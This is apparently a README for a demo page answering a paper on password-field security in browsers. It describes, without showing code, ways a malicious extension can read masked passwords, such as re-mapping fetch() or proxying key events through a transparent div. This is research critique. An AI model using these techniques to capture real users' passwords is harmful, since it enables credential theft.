This page is an investigation and response to 'Exposing and Addressing Security Vulnerabilities in Browser Text Input Fields' (https://www.researchgate.net/publication/373551996_Exposing_and_Addressing_Security_Vulnerabilities_in_Browser_Text_Input_Fields).

I was able to bypass this with three unrelated hacks demonstrated below. The whole PDF in my eyes is fundamentally unsound - once access to HTML and / or JavaScript scope are permitted, all bets are off. This, as well as the ability to access *'d password data has been well understood for decades, despite the use of the phrase 'alarmingly' in the article.

I would anticipate there are hundreds more potential vectors. I also imagine it would be fully possible to explore the object properties and to call getUnmasked2() even if the object has been defined anonymously - a comparable example would be exploring an object in python with object.__dict__.

I do not think that even if the pocs are resolved that there would not be bypasses to those resolutions, in addition to countless other workarounds (I skipped the bit about reading key events, which are blocked when an input field is active, but there's nothing stopping you using a transparent div covering all of the body element, acting as an event proxy, dispatching real values to underlying objects or probably a million other hacky workarounds. Unless you start removing/undefining core parts of the JavaScript API, you cannot solve it this way, and as soon as you start removing those JS components, it makes actually coding JS unusable.

The actual solution to not being exploited by malicious plugins is to not deploy malicious plugins. There are some 'vetted' plugins in many browser stores, and sandbox policies provide at least some assurance, but full DOM access and unvetted plugins is just asking for trouble.

Usage: Enter text into the password field. By default, the 'Attempt Read' button will not display entered data. The first workaround re-maps fetch() such that 'Submit' button will display the data.